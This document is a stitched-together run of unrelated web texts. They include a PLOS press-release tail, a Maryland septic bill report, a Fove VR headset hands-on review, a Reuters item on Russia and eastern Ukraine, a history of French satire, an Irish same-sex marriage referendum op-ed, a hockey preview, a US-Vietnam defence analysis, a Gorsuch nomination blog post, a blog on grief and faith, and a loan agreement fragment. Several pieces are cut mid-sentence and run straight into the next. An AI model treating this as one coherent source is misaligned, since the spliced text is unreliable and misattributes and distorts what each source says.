Please add this link to the freely available article in online versions of your report (the link will go live when the embargo ends): http://www. ploscompbiol. org/ article/ info:doi/ pcbi. 1003399
Contact:
Dr. Joshua Auerbach
École Polytechnique Fédérale de Lausanne
Laboratory of Intelligent Systems
Lausanne, Switzerland
+1 (802) 239-4955
joshua.auerbach@epfl.ch
Disclaimer
This press release refers to an upcoming article in PLOS Computational Biology. The release is provided by the article authors. Any opinions expressed in these releases or articles are the personal views of the journal staff and/or article contributors, and do not necessarily represent the views or policies of PLOS. PLOS expressly disclaims any and all warranties and liability in connection with the information found in the releases and articles and your use of such information.
About PLOS Computational Biology
PLOS Computational Biology features works of exceptional significance that further our understanding of living systems at all scales through the application of computational methods. All works published in PLOS Computational Biology are open access. Everything is immediately available subject only to the condition that the original authorship and source are properly attributed. Copyright is retained.
About the Public Library of Science
The Public Library of Science (PLOS) is a nonprofit publisher and advocacy organization founded to accelerate progress in science and medicine by leading a transformation in research communication. PLOS engages in outreach activities that promote Open Access and innovations in the communication of research for scientists and the public. 2013 marks PLOS's tenth year as an Open Access publisher, reaching an international audience through immediate and free availability of research on the Internet. PLOS publishes a suite of seven journals: PLOS Biology, PLOS Medicine, PLOS Genetics, PLOS Computational Biology, PLOS Pathogens, and PLOS Neglected Tropical Diseases and PLOS ONE, which publishes research from more than 50 diverse scientific fields and is the largest journal in the world.Gov. Martin O'Malley's bill to curb sprawl by limiting septic systems — a key piece of his legislative agenda — cleared the Maryland Senate Monday, albeit in a weakened form.
The measure aims to slow the pace of development of the state's farmlands, forests and other rural areas. It also would reduce pollution from septic systems into the Chesapeake Bay. Getting Senate approval for the legislation is a significant step for the governor, who wasn't able to get a similar bill out of committee last year. The measure goes now to the House of Delegates, where supporters are optimistic.
O'Malley initially sought a stronger bill that would let the state determine whether new developments could be built in rural areas. Last week he accepted a compromise supported by conservative Democrats and Republicans that keeps the final say on development in local hands.
"We are still achieving the public policy objectives," said Maryland Planning Secretary Richard E. Hall. "I still think the bill does what it sets out to do. … It is very much intact."
The view was not universal. "I don't think you can call it a huge step forward, but it is a halting step," said Sen. Brian Frosh, a Montgomery Democrat who |
, Yuka Kojima, who showed me the company’s first prototype head mounted display. Right now it consists of a lightweight foam housing, two lenses, and two small cameras, on the left and right of the lenses, pointed at each eye. I wasn’t allowed to snap a photo of the inside of the headset, but it appears they’re using all off-the-shelf components in this prototype. The lens and micro display assembly appeared to be torn out of a Sony HMZ headset. The infrared cameras on the left and right had fairly wide angle lenses and are probably taken out of a consumer gesture camera.
Given the 45 degree (or so) field of view, I would not call the existing Fove prototype a ‘VR headset’. That delineation is reserved for HMDs with a larger field of view. However, Fove intends for their finished product to fall into that immersive category; they say their latest prototype uses a 2.5k display and has a 100 degree field of view. Fove says they’re working on positional tracking as well.
Kojima had the Fove HMD connected to a laptop at Expand that struggled to run the experiences that were demonstrated; at 10-15 FPS, it was clear that the company wasn’t too concerned with showing a high fidelity VR experience, rather they just wanted to show their eye-tracking tech. Unfortunately it was unclear if some lag I experienced with the eye tracking was due to the company’s tech, or merely an insufficient computer. We’re soon hoping to get our hands on a the company’s latest prototype with a more powerful computer running the demo.
Kojima ran me through a simple calibration sequence which could be easily gamified. A series of white dots were shown on the display and I was asked to look at each one while she clicked the mouse to save the eye position data for each point. It took about 15 seconds to go through the calibration sequence and when it was over I was asked to look at a green dot in the center of the screen. If the calibration went well, another dot, representing my gaze would land on or very close to the center dot. If it was miscalibrated, the dot would be far away. It took about three tries to calibrate properly; when we did get a good data set, the tracking seemed very accurate, with the gaze dot landing right on the center point.
A quick glimpse at Fove’s view of your eye and the calibration process.
After calibrating I asked Kojima if I could tighten the headset but she somewhat frantically told me not to, for fear or throwing off the calibration. This makes me wonder if users will need to frequently re-calibrate when removing the headset for breaks or making adjustments. So long as the calibration process can become faster and more robust, it won’t be a problem, but if users need to recalibrate every time they make a comfort adjustment, it might present an issue to usability.
Headtracking was built into the headset but there isn’t positional tracking on this prototype. However, the company has said that they’re working on positional tracking.
Kojima walked me through a few different experiences demonstrating the eye tracking capabilities of the Fove HMD. The first had me in a dark city street with some futuristic-looking super-soldiers lined up before me. Looking at them caused me to shoot them and one after another they dropped to the ground after being blasted by my eyes.
Another demo was essentially the same thing but this time there were ships flying all around me. Looking at them caused me to lock onto them, then a tap of the mouse shot them out of the sky. While I wouldn’t call this kind of eye-based aiming particularly compelling, I suppose it’s a step up from aiming with a reticle attached to your face—something we see today across a number of Oculus Rift demos.
The next demo was closer to the applications that eye-tracking would be most useful for—gaze-based focus and character interaction. In the next scene I was standing in front of a virtual character in an open field. When I glanced at the background, the foreground blurred. When I glanced at the character, she smiled and came into focus while the background blurred.
The same mechanics could be used for foveated rendering, where the image is only rendered in high fidelity at the very center of the eye, while areas further away from that point are rendered with lower quality to reduce the computing power needed to render the scene (as we only see sharply in a very small area). This may be necessary to push framerates in virtual reality to 90 FPS or more, which is what Oculus believes is necessary.
If Fove is going enable foveated rendering, their eye tracking tech needs to be extremely fast, lest you glance over to another part of the scene and see it blurred for a moment until the system finds your new gaze direction—a sure immersion breaker unless done fast enough. As I mentioned previously, I experienced noticeable lag in the eye-tracking, though it wasn’t clear if this was inherent or due to an inadequate computer.
All in all, Fove’s tech works well as a proof of concept. Their next steps will be important: showing that they can succeed in the other important aspects of a VR headset, like comfort, latency, low-persistence, and positional tracking, and also convincing the world that eye-tracking is necessary for a VR headset (I believe that it is). If Fove can pull it off, their innovation will likely be more about pricing than heretofore unseen tech; like VR headsets of yore, eye-tracking is not new, it simply hasn’t been seen at a consumer price point. If and when it hits, it could be a game changer.MOSCOW (Reuters) - President Vladimir Putin ordered Russian authorities on Saturday to temporarily recognize civil registration documents issued in separatist-held areas of eastern Ukraine, a decision strongly criticized by Ukraine’s president.
Local police officers arrange passports during a ceremony to issue the first passports of the self-proclaimed Donetsk People's Republic to residents in Donetsk, Ukraine, March 16, 2016. REUTERS/Alexander Ermochenko
The decision will enable people from the conflict-hit region to travel, work or study in Russia.
According to Putin’s order, published on the Kremlin website, Russia will temporarily recognize identity documents, diplomas, birth and marriage certificates and vehicle registration plates issued in the eastern Ukraine regions of Donetsk and Luhansk.
The legislation will be in place until a “political settlement of the situation” in these regions based on the Minsk peace accords, the Kremlin said.
Ukrainian authorities sharply criticized Putin’s decision, saying Russia had violated the Minsk peace process.
“For me, this is another proof of Russian occupation as well as Russian violation of international law,” Ukraine’s President Petro Poroshenko told reporters in Munich, Germany.
“This step completely negates the Minsk process,” said Oleksander Turchynov, secretary of Ukraine’s National Security and Defence Council, which is headed by Poroshenko.
Fighting has recently escalated in the conflict between the Ukrainian government and Russian-backed separatists in eastern Ukraine, refocusing global attention on a simmering conflict that has strained relations between Russia and the West.
The February 2015 Minsk peace agreement only locked the two sides into a stalemate that has been broken periodically by sharp resurgences of fighting that Kiev and the Kremlin accuse each other of instigating.
The foreign ministers of Germany, France, Russia and Ukraine met on Saturday in Munich and agreed to use their influence to implement a ceasefire and the withdrawal of heavy weapons from Monday in eastern Ukraine.Daniel Foliard
Assistant Professor, Paris Ouest-Nanterre la Défense University
In a recent interview, George Wolinski (1934-2015), one of the Charlie Hebdo cartoonists killed in the Paris terrorist attacks on January 7, 2015, had claimed his magazine’s work was the legacy of L’Assiette au Beurre, an innovative satirical weekly published in France between 1901 and 1912.[1]
Both stylistically and politically, the two periodicals, separated by more than a century, could also claim an affiliation with a long French tradition of dissent. Accordingly, although Charlie Hebdo is now known around the globe for its unmediated satire on religions, we should not overlook its position in the longer history of French anti-imperialism.
The 1881 laws on the freedom of the press had opened the golden age of French political caricature, paving the way for Samuel-Sigismond Schwarz to found L’Assiette au Beurre in 1901. The new illustrated weekly was, however, initially a failed commercial venture.
André de Joncières took over in 1904 when Schwarz went bankrupt. The new owner continued its founding tradition, running the paper with little or no censorship. Some of the most prominent artists of the early 20th century — Willette, Juan Gris, Félix Vallotton, Caran d’Ache among many others — rushed to publish their drawings in a paper that offered them an unprecedented freedom of speech as well as an incredible stylistic liberty.[2] Other satirists such as Jules Grandjouan and Henri Gustave Jossot contributed to give it an anarchist stance. But the paper had no definite editorial line except an all-out attack on established interests.
L’Assiette au Beurre targeted the establishment indiscriminately. The paper was fiercely anticlerical and antimilitarist. It also launched virulent attacks on European colonialism in all its forms. Thematic issues regularly addressed foreign affairs and imperial expansion.[3] Graphic cartoons denounced colonial atrocities such as Papka’s horrific execution in Fort Crampel (Oubangui-Chari, Central Africa) on July 14, 1903, wherein two French government administrators, Gaud and Toqué, decided to kill the suspect with dynamite to strike the locals with awe. Nor was French colonial violence L’Assiette au Beurre‘s only target. In 1901, for instance, Jean Veber directed an issue devoted to the concentration camps in the South African Transvaal.[4]
The paper was not spared from government censorship. The authorities considered Jean Veber’s 1901 cartoon showing an indecent Britannia (“impudique Albion”) exposing an Edward VII-shaped bottom to be too scandalous — at least after the British government summoned the French Ambassador in London.
A tiny skirt was added to cover the offensive body part.[5] Special issues on religions depicting a sword-wielding Mohammed or a crucified Christ overlooking priests torturing bodies did not raise such an outcry as Britannia’s overexposed fundament.[6]
L’Assiette au Beurre nonetheless enjoyed much more freedom than some of its late-19th-century predecessors. And even though the satirical magazine of opinion was unable to survive the growing intolerance of the last years of the Belle Époque, the artistic, satirical and anti-imperial prowess of the publication made it a lasting reference for generations of caricaturists in France.[7]
From this longer perspective, Charlie Hebdo’s murdered cartoonists were among the last standing custodians of L’Assiette au Beurre’s irreverent and pioneering denunciation of French colonial oppression. George Wolinski and Jean Cabut (also known as Cabu) belonged to a generation haunted by the horrors of the war in Algeria (1954-1962) and the ruthless counterinsurgency applied by the French Army. Cabut himself was sent with his regiment to Constantine in the late 1950s. This greatly contributed to his political awakening.
Cabut and Wolinski had embraced their artistic career at Charlie Hebdo in a context of colonial violence that they despised, with a view to carry on a long tradition of French secular and political satire. Hopefully it’s just a matter of time before someone else will take up the torch.
————–
[1] Wolinski: “Le désir, c’est encore mieux que le plaisir!”, L’Humanité, January 28, 2011.
[2] See Élisabeth Dixmier and Michel Dixmier, L’assiette Au Beurre : Revue Satirique Illustrée, 1901-1912 (Paris: F. Maspero, 1974). Or S. Applebaum, French Satirical Drawings from “L’assiette Au Beurre”: Selection, Translations, and Text (Dover Publications, 1978).
[3] Colonisons, February 26, 1902; L’Algérie aux Algériens, May 9, 1903; Les Bourreaux des Noirs, Mars 1905 ; Le Maroc, December 5, 1903 ; Civilisons le Maroc, August 31, 1907.
[4] Les Camps de Reconcentration au Transvaal, September 28, 1901.
[5] Jean Veber, “Impudique Albion”, September 28, 1901.
[6] Religions, May 17, 1906.
[7] Most issues are available online here.Everybody, regardless of sexual orientation, is an equal member of the human family and is entitled to equal protection before the law. Therefore, it is obvious why many people are considering voting 'Yes' on May 22.
Ireland, as a society, has thankfully progressed in its acceptance of gay people and this is to be embraced.
As a sports player, I too, have publicly supported this embrace when last March I stated: "As a member of the GAA and of the Gaelic Players Association, it's all about diversity and inclusiveness. If a person, man or woman, is playing for their club or county I don't see what their sexuality has to do with anything. It's about a person being happy and true to themselves." And this conviction remains true today.
I am proud to love my gay family members and my gay friends. And yet I feel strongly there is more to the marriage debate than adult equality.
For a start, this isn't a referendum on whether we like gay people or whether they should be equal citizens according to the Constitution. They already are equal citizens. Article 40.1, which deals with equality, declares that all citizens shall be held equal before the law. We are not being asked to amend Article 40. We are instead being asked to amend Article 41, which deals with the family and with marriage.
Nor is this referendum about whether gay couples should have their relationships recognised by the State. They already do. Bar a couple of minor grey areas to be ironed out legislatively, gay couples in civil partnerships have all the rights married couples have. Civil partnership ceremonies are virtually identical to civil marriage ceremonies.
Read more: Young voters teach former pupil John a lesson in equality
When we talk about equality we must ensure an understanding of its true meaning. Equality equates to an individual's dignity or human worth. This dignity is based on one's basic potential to freely grow and develop spiritually, sexually, intellectually, emotionally and physically.
Each of us possesses different types of potential (our unique sexuality, gifts, talents, etc,). With this understanding of equality, I don't think it makes sense to say children should not be part of a debate about marriage and the family.
The reason why the Constitution recognises marriage in the first place is because of its role in connecting children with their biological parents. That's why the Constitution describes the family based on marriage as "the natural primary fundamental unit group of society". Children's interests should come before all else. So if we redefine marriage and the family we are obviously going to affect children. We should be mature enough to accept this.
All legislation is derived from the Constitution and its principles. So it seems pretty clear that if we redefine marriage and the family by making marriage genderless we will be denying that there is any special value in a child having both a mother and a father. We will be denying that children have any kind of a legal right to a mother and father where possible, like when it comes to laws relating to adoption and surrogacy.
I just can't see why anyone would want to deny that it is good, all else being equal, for a child to have a mam and a dad.
Obviously, life is complicated and filled with different circumstances. Many children grow up without either a mam or dad (or even both). But I don't see why the State should use its adoption or surrogacy laws to deliberately leave some children motherless or fatherless. That can't be child-centred. And it can't be child-centred to use a law to create a child who will be deliberately deprived of the opportunity to know and be cared for by their own biological parents. But that's the only way same-sex couples can start a family.
Read more: Varadkar:'mask slips' on 'No' campaign
We have a long way to go in recognising the importance of fathers, in particular, in the lives of children. It's a huge problem in many areas of Dublin and indeed the rest of the country: children growing up who might only have a teacher or a coach as any kind of male role model. That's why a few years ago Barnardos launched the "Da project" to highlight the important and unique role fathers play in the lives of their children. Now Barnardos is calling for a 'Yes' vote in the referendum, a vote that will change the Constitution to require that some children be born fatherless so that two women married to each can start a family. If gender balance is important in politics then surely it's important in parenting too?
It seems like every celebrity and every group in the country is calling for a 'Yes' vote. Even the Gardaí have been used by the 'Yes' campaign to support the referendum proposal. I see all the 'Vote No' posters being ripped down and defaced all across Dublin without anyone in politics or in the media condemning it.
I very nearly decided not to write this piece. I know I'll be targeted for it and labeled for it. It would have been easier to keep my mouth shut and not rock the boat. But I'm sick of the accusations being flung around that if you vote 'No' you are homophobic. I know I'm not homophobic; my gay friends and family can attest to that. I am voting "No" because I don't want our Constitution to deny that it is a good thing for a child to have a mother and a father.
The Universal Declaration on Human Rights proclaims that everybody is equal in dignity and it holds that marriage is a male-female union. I don't think the Declaration of Human Rights is homophobic. I'm voting 'No'.
Ger Brennan is an All-Ireland winning Dublin GAA footballer
Irish IndependentAre the Winnipeg Jets better right now than they were at this time last year?
Although there’s still nearly a month to go before main training camp, it’s a question that is generating plenty of discussion these days, whether it be around water coolers or in dressing rooms all across Manitoba.
The Jets didn’t make any splashy additions and are clearly banking on plenty of internal improvement to take the next step into the post-season.
Having a head coach in Paul Maurice with more than 1,100 games of NHL experience should be a benefit, but how many points is it going to be worth in the standings?
That’s nearly impossible to quantify, but it can’t hurt.
While realizing the game is played on the ice and not on paper, let’s take a closer look at how the Jets are shaping up right now, position by position.
Goalies
Returnee: Ondrej Pavelec
Candidate for promotion: Michael Hutchinson
The wild card: Connor Hellebuyck
Who’s out: Al Montoya (Florida Panthers)
The verdict: Worse
Given how well Montoya played as the backup last season and the fact Hutchinson has only three NHL games on his resume, it’s tough to argue the Jets aren’t in a worse position between the pipes. Granted, they’re expecting improvement from Pavelec, believe that Hutchinson is ready to make the jump to the NHL after an excellent season in the minors and the future looks bright for Hellebuyck, who is turning pro after a brilliant college career but needs some seasoning. Pavelec understands the importance of the upcoming season and it’s time for him to take the next step in his progression.
Defence
Returnees: Toby Enstrom, Zach Bogosian, Jacob Trouba, Mark Stuart, Grant Clitsome, Paul Postma, Adam Pardy, Keaton Ellerby
Newcomer: Julien Brouillette (depth player)
Candidates for promotion: Ben Chiarot, Brenden Kichton, Julian Melchiori
The wild card: Josh Morrissey
Who’s out: Zach Redmond (Colorado Avalanche)
The verdict: Equal
The belief was that the Jets were looking for a Top-4 D-man to add to the mix but as of right now, it looks like they’re banking on an internal candidate to handle the job, with Grant Clitsome and Mark Stuart as the leading candidates. Josh Morrissey is coming off a fantastic season and figures to make the decision to send him back to junior a difficult one. The Jets won’t rush him, but his ability and hockey IQ just might allow him to be in the discussion. Whether he remains with the Jets beyond the nine-game window before the first year of his entry-level contract kicks in will be interesting to monitor. Although Dustin Byfuglien started last season as a blue-liner, the Jets still have the most depth on the back end. Let’s call it a wash on the back end.
Forwards
Returnees: Andrew Ladd, Bryan Little, Michael Frolik, Evander Kane, Mark Scheifele, Blake Wheeler, Dustin Byfuglien, Jim Slater, Chris Thorburn, Matt Halischuk, Eric Tangradi, Anthony Peluso, Eric O’Dell
Newcomers: Mathieu Perreault, TJ Galiardi
Candidates for promotion: Adam Lowry, Carl Klingberg, JC Lipon, Patrice Cormier, Scott Kosmachuk, John Albert
The wild cards: Nic Petan, Nikolaj Ehlers
Who’s out: C Olli Jokinen (Nashville Predators), RW Devin Setoguchi (free agent), LW James Wright (free agent)
The verdict: Improved
Offensively, the Jets should be able to make up the difference for the production that is departing (29 goals, 70 points) from Jokinen and Setoguchi but they’ll be looking to do it collectively. It looks like Maurice is going to try to have three scoring lines and an energy line. For much of his tenure after taking over as head coach, Maurice often played three lines but look for that to change this season, as there will be plenty of forwards battling to secure spots among the bottom six. Veterans had best be on their game, as there is a significant push coming from below.
ken.wiebe@sunmedia.ca
twitter.com/WiebeSunSportsWritten by Carlyle A. Thayer.
Military-to-military relations between Vietnam and the U.S. developed slowly after the normalization of diplomatic relations in July 1995 mainly due to Vietnamese sensitivities and concern that defense relations might outstrip economic ties. In 2000, William Cohen became the first U.S. Secretary of Defense to visit Hanoi.
The year 2003 proved pivotal. In July, the Vietnam Communist Party (VCP) Central Committee’s eighth plenum redefined its ideological approach to interstate relations by adopting the concepts doi tac (object of cooperation) and doi tuong (object of struggle). In other words, Vietnam had come to view its relations with both China and the United States as containing elements of cooperation and struggle when either state adopted policies that affected Vietnam’s nation interests. This new policy sanctioned new avenues of cooperation with the United States. In 2003, U.S. Navy warships began annual port visits to Vietnam.
In December 2003 General Pham Van Tra, Vietnam’s Minister of National Defence, made a visit to Washington to reciprocate the visit of Secretary Cohen three years earlier. Significantly, during General Tra’s visit it as agreed that exchanges between defence ministers would take place every three years on an alternating basis. Defense Secretary Donald Rumsfeld visited Hanoi in June 2006, Vietnamese Defence Minister General Phung Quang Thanh visited Washington in December 2009, and Defense Secretary Leon Panetta visited Hanoi in June 2012.
In 2007, the George W. Bush Administration amended the International Traffic in Arms Regulations (ITAR) to permit the issuing of “licenses, other approvals, exports or imports of non-lethal defense articles and defense services” to Vietnam on a case-by-case basis. U.S., however, continues to prohibit the export of “lethal defense articles and services destined for Vietnam” as well as components of lethal weapons, non-lethal crowd control equipment and night vision devises.
In June 2008, Vietnam’s Prime Minister Nguyen Tan Dung made an official visit to the United States where he met with President George W. Bush. A joint statement issued after their meeting noted that they had reached agreement to hold an annual high-level dialogue on security and strategic issues at deputy minister/assistant secretary level. The first Political, Security and Defense Dialogue was held in Washington in October.
U.S.-Vietnam defence relations stepped up noticeably in 2009 when both sides engaged in several high profile but largely symbolic interactions and, more significantly, stepped up defense consultations. In April, Vietnamese military officials were flown out to the USS John D. Stennis, an aircraft carrier operating in the South China Sea, to observe air operations. In September the USNS Safeguard underwent minor repairs in the port of Saigon.
In late 2009, Prime Minister Dung announced that Vietnam would open its commercial repair facilities at Cam Ranh Bay to all navies of the world. The U.S. was the first to take up the offer. In 2011 and 2012 a total of four U.S. Navy Sealift ships underwent minor repairs at Cam Ranh Bay.
In December, General Thanh visited the U.S. Pacific Command in Hawaii en route to Washington. He was photographed peering through the periscope of the USS Florida, a nuclear-powered guided missile submarine (SSGN). When General Thanh met with Secretary Rumsfeld, he requested that the United States relax its ban on military equipment and weapon sales to Vietnam.
In 2010 Vietnam and the U.S. celebrated the fifteenth anniversary of diplomatic relations. The occasion was marked by highly symbolic visits by Vietnamese officials to the newest U.S. aircraft carrier, the USS George W. H. Bush in Norfolk, Virginia and, half a world away, to the USS George Washington in waters off Vietnam’s central coast. Vietnam and the United States also opened a new chapter in defence relations by conducting the first of an annual series of non-combat naval engagement activities in the port of Da Nang. Vietnam and the United States have yet to conduct formal naval exercises.
Bilateral defence relations were significantly upgraded in 2010 with the convocation of the 1st Defense Policy Dialogue at deputy defence minister level in August. The following year at the 2nd Defense Policy Dialogue held in September Vietnam and the U.S. signed a Memorandum of Understanding (MOU) on Advancing Bilateral Defense Cooperation. The MOU set out five priority areas for cooperation: regular high-level policy dialogues, maritime security, search and rescue, humanitarian assistance and disaster relief, and peacekeeping. Also in 2011, Vietnam sent students to the U.S. National War College and the U.S. Naval Staff College for the first time. In October, the commandant of Vietnam’s National Defense Academy addressed staff and students at the U.S. National Defense University.
In June 2012, Secretary Panetta paid an unexpected visit to Cam Ranh Bay en route to his meeting with Vietnamese counterpart in Hanoi. Panetta met with sailors on USNS Richard E. Byrd, a U.S. Military Sealift Command vessel undergoing repairs in the commercial port. In Hanoi Panetta proposed establishing an Office of Defense Cooperation in the U.S. Embassy to expedite defence cooperation. General Thanh reiterated Vietnam’s long-standing request that the U.S. life ITAR regulations on the sale of weapons and equipment.
During 2012 defence cooperation activities picked up pace. Vietnam sent its first observer to the Rim of the Pacific Exercise in June-August. A delegation from Vietnam’s Steering Board 501, which has responsibility for dealing with wartime unexploded ordnance, visited in July. And in October, Vietnamese officials were flown out to the USS George Washington to observe operations in the South China Sea.
Vietnam hosted visits by the Commander of the US 7th Fleet in January; the Commander of the U.S. Pacific Fleet in July; and a delegation from the U.S. National Defense University in October.
In the first half of 2013, Vietnam hosted the third Defense Policy Dialogue in January and the fourth naval exchange activity in Da Nang in April. The Chairman of the U.S. Joint Chiefs of Staff welcomed the first visit to America by the Chief of the General Staff of the Vietnam People’s Army Deputy Minister of National Defense General Do Ba Ty in June). General Ty’s delegation included the Commander of Vietnam’s Air Force and the deputy commanders of the Navy and General Intelligence Department. General Ty’s delegation also visited the Joint Base Lewis-McChord in Washington State.
The high point in U.S.-Vietnam bilateral relations was marked on July 25, 2013 during the official visit of President Truong Tan San to The White House for a meeting with President Barack Obama. The two presidents issued a joint statement announcing the U.S.-Vietnam Agreement on Comprehensive Partnership.
Point seven addressed defence and security cooperation. Both leaders expressed satisfaction with the 2011 MOU and reaffirmed their support for the on-going annual Political, Security and Defense Dialogue and the Defense Policy Dialogue. The two presidents also agreed to expand cooperation to enhance search and rescue and disaster response capabilities as well as enhanced cooperation in non-traditional security matters. They also agreed to work more closely to counter terrorism; enhance maritime law enforcement cooperation; combat transnational crime including piracy, and narcotics, human, and wildlife trafficking; and address high-tech crime and cyber security. President Obama expressed the U.S. desire to assist Vietnam prepare for United Nations peacekeeping operations.
In October, the United States hosted the sixth U.S.-Vietnam Political, Security and Defense Dialogue and the fourth Defense Policy Dialogue. The latter meeting was followed by the signing of a bilateral cooperation agreement on equipment, training and capacity building between the U.S. and Vietnamese Coast Guards. In December, Vietnam received Admiral Samuel Locklear, Commander of the U.S. Pacific Command to discuss expended cooperation.
An overview of U.S.-Vietnam defence cooperation since the normalization of diplomatic relations in 1995 reveals that it has proceeded gradually due to Vietnamese sensitivities. Vietnam seeks a mutually beneficial defence relationship with the United States and is extremely cautious about the impact on relations with China. Vietnam adhere to a policy of “three no’s” – no alliances, no military bases and no use of relations with one country directed at a third party.
As a result of Chinese assertiveness in the South China Sea, the pace of U.S.-Vietnam defence cooperation has quickened. But is has also been limited to mainly symbolic or highly restricted activities. The symbolic activities include regular flouts by Vietnamese officials to U.S. aircraft carriers transiting the South China Sea. The 2011 MOU, which included five area of cooperation, was largely a catalogue of already on-going activities. It was mainly a transparency measure for China’s benefit. So far Vietnam has refrained from conducting military activities with the U.S. Vietnam prefers to restrict defence cooperation to non-traditional security issues, such as those enumerated in the 2013 comprehensive partnership agreement. Vietnam is willing to work with the U.S. Coast Guard to enhance maritime law enforcement.
As the United States has pressed for a step up in defence cooperation, Vietnam has tabled its own demands for the U.S. to address the legacy of the Vietnam War by contributing more to clearing up unexploded ordnance and the poisonous aftereffects of Agent Orange. Vietnam views ITAR restrictions on the sale of military weapons and equipment as discriminatory and has repeatedly asked the United States to remove them.
In sum, Vietnam and the United States have convergent but not congruent security interests. Vietnam officially welcomes a U.S. military presence in Southeast Asia, and the South China Sea, as long as it contributes to regional peace and security as viewed from Hanoi. Vietnam seeks to reinforce its own security through a multilateral strategy of maintaining good relations with all the major power, especially China, Japan, India, Russia and the United States. Vietnam will continue to cooperate with the U.S. but it will not align with it.
Carlyle A. Thayer is Emeritus Professor at The University of New South Wales and Director of Thayer Consultancy.UPDATE II - IJR's Benny Johnson says he has confirmation that it's Gorsuch. I'll repeat that if this is true, it's a sensational pick by President Trump. Five hours until anything is official:
CONFIRMED: Trump will pick Judge Neil Gorsuch tonight, youngest SCOTUS pick in 30 years. https://t.co/lakw5LrAqa — Benny (@bennyjohnson) January 31, 2017
*** Original Post ***
Why the asterisk? Allow me to explain. A source close to Team Trump's confirmation operation tells Townhall that Judge Neil Gorsuch of the Tenth Circuit Court of Appeals will be nominated to fill the Supreme Court seat left vacant by the late Justice Antonin Scalia. This information could not be independently and directly confirmed by a second source. However, additional breadcrumbs exist: (1) Another court-watching journalist I spoke with earlier today has a separate source who has also been told to prepare for a Gorsuch nomination, (2) a Thomas Hardiman ally I contacted did not dispute (but would not formally confirm) that the Third Circuit judge for whom he was lobbying has been passed over, and (3) a pair of top Congressional sources said they've heard growing Gorsuch "buzz" this afternoon, but could not offer airtight confirmations. All of which is to say that unless there is a significant misdirection operation underway -- a possibility that cannot be discounted, especially given the president's flare for the dramatic and these speculation-building theatrics -- it will be Gorsuch:
I'll say this, based on 4 conversations today: Either there's a major headfake operation afoot, or it's going to be Gorsuch. #SCOTUS — Guy Benson (@guypbenson) January 31, 2017
Two sources with solidly reliable knowledge of the situation confirmed to me yesterday that Trump's selection would either be Gorsuch or Hardiman. The president will unveil his choice this evening at 8pm Eastern.
UPDATE: CNN's sources are apparently hearing similar things:
CNN reporting Gorsuch is the frontrunner for SCOTUS. Easy way to unite the GOP... — Josh Kraushaar (@HotlineJosh) January 31, 2017
If this mounting evidence proves to be accurate, Gorsuch would be an absolutely superb choice. He is a committed, established originalist who was confirmed to his current post by a Senate voice vote (no opposition) in 2006. He is just 49 years old. Is this intel solid, or is Trump setting up the media? Stay tuned.Three years ago, Anna Whiston-Donaldson, a mother and writer in Virginia, experienced the almost unimaginable pain of losing a child. Her son Jack drowned in a creek just up the street from the family’s home. He was only 12. Donaldson just published a memoir of her grief.
Here’s one quote:
“I play with the idea that our son’s death is not a random accident, not just the result of free will and bad judgment and freak weather, but somehow part of a larger plan. And a loving God, who holds all the pieces in his hands, can see the plan that we cannot.”
I can’t follow her there. A deity who sweeps away an innocent child, pushes him under the surface, fills his lungs with water to the point of bursting, all the while sending the worst possible searing panic through his mind and body until both expire — that‘s a “loving God”? Not to mention the possibly life-long guilt and mental torture heaped upon the parents, and the sorrow inflicted on all who knew and adored Jack… Loving?
Donaldson “plays with the idea” that Jack’s death is part of a cosmic plan, a phrase that doesn’t exactly convey certainty.
In coming to terms with the death of a child, would certainty of the divine, however false, be a good thing? Or would doubt, perhaps of the growing kind, ultimately help bereaved parents in a more meaningful, the-truth-shall-set-you-free sort of way?
I don’t have the answer.
To many, faith is a lifeline; and while God is surely imaginary, the solace that God-belief provides to billions is anything but. If it gets people through their day, their lives — and it does — do we still try to make them see that it’s based on nothing but wishful thinking?
And if (hypothetically) faith did nothing worse than provide peace to people whose hearts hurt beyond measure, would you still fight it?
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P.S. I see from the comments that I flubbed the question.
Yes, religion will always have a large share of believers who, far from quietly practicing their faith, seek to discriminate against non-believers, do violence to them, push faith-privileged laws, proselytize to them like madmen, and so on.
But what about the many who don’t? Who derive comfort from their faith while doing none of the above? They keep to themselves and believe as they believe. I have more than a few Christian friends who fall in this category. Also, I’m married to one.
So let me amend what I asked. Do we still tell those people, whose beliefs get them through their day and their life, that they’re only imagining things? Why, or why not?
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P.P.S. I thought I’d highlight this beautiful comment from MargueriteF here, lest it gets buried and overlooked in the readers’ discussion below.Rupert Murdoch arrives to the 2014 Vanity Fair Oscar Party on Sunday, March 2, 2014 in West Hollywood, California. AFP PHOTO/ADRIAN SANCHEZ-GONZALEZ (Photo credit should read ADRIAN SANCHEZ-GONZALEZ/AFP/Getty Images)
Rupert Murdoch thinks Fox News has saved politics, was "shocked" by his ex-wife's mash notes to Tony Blair, feels he could "live" with Hillary Clinton as president, and imagines that the New York Post may go all-digital in the next ten years.
Murdoch revealed all of this in a lengthy interview with Fortune magazine that was released on Thursday.
The last year has been a whirlwind one for the media monarch. He got divorced, split his company in two and welcomed his prodigal son Lachlan back into the corporate fold, |
, 2016, Borrower shall have demonstrated, to the reasonable satisfaction of Agent, positive results in the EPIC Phase 3 study of vepoloxamer in patients with sickle cell disease.”
(e) Section 2.1(d) of the Loan Agreement is hereby amended and restated in its entirety to read as follows:
“(d) Payment. Borrower will pay interest on each Advance on the first Business Day of each month, beginning the month after the applicable Advance Date. Commencing on the Amortization Date, and continuing on the first Business Day of each month thereafter, until the Secured Obligations are repaid, Borrower shall repay the aggregate principal balance of the Advances that are outstanding on the day immediately preceding the Amortization Date, in equal monthly installments of principal and interest (“mortgage style”). The entire Term Loan principal balance and all accrued but unpaid interest hereunder shall be due and payable on Term Loan Maturity Date. After (A) any change in the Term Loan Interest Rate, the Amortization Date or the Term Loan Maturity Date or (B) the payment of the Second Advance Prepayment pursuant to Section 2.4(b), Agent shall recalculate future payments of principal and interest in substantially equal monthly installments to fully amortize the outstanding Term Loan principal balance over the remaining scheduled monthly payments hereunder prior to the Term Loan Maturity Date. Borrower shall make all payments under this Agreement without setoff, recoupment or deduction and regardless of any counterclaim or defense. Lender will initiate debit entries to Borrower’s account as authorized on the ACH Authorization (i) on each payment date of all periodic obligations payable to Lender under each Advance, and (ii) out-of-pocket legal fees and costs incurred by Agent or Lender in connection with Section 11.11 and notified to Borrower in writing at least 10 Business Days prior to the payment of such legal fees and costs.”
(f) Section 2.4(b) of the Loan Agreement is hereby amended and restated in its entirety to read as follows:
